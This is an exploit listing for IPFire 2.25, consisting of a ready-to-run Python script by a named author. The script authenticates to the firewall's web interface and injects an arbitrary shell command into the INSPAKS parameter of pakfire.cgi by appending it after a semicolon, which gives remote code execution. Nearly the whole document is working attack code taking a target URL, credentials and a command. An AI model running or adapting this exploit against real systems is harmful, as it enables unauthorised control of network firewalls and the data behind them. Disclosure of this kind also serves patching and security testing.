Ipfire 2.25 remote code execution (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-05-17 | Type : webapps | Platform : cgi

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[+] Code ...

# Exploit Title: IPFire 2.25 - Remote Code Execution (Authenticated)
# Date: 15/05/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipfire.org/
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.25-core156/ipfire-2.25.x86_64-full-core156.iso
# Version: 2.25 - core update 156
# Tested on: parrot os 5.7.0-2parrot2-amd64

#!/usr/bin/python3

import requests as R
import sys
import base64

try:
host = sys.argv[1]
assert host[:4] == "http" and host[-1] != "/"
url = host + "/cgi-bin/pakfire.cgi"
username = sys.argv[2]
password = sys.argv[3]
komut = sys.argv[4]
except:
print(f"{sys.argv[0]} http://target.com:444 username password command")
exit(1)

veri = {
"INSPAKS": f"7zip;{komut}",
"ACTION":"install",
"x": "10",
"y": "6" }
token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())
header = {"Authorization": token,
"Connection": "close",
"Cache-Control": "max-age=0",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"Origin": host,
"Sec-GPC": "1",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": host}


R.post(url, data=veri, headers=header, verify=False)
print("Done.")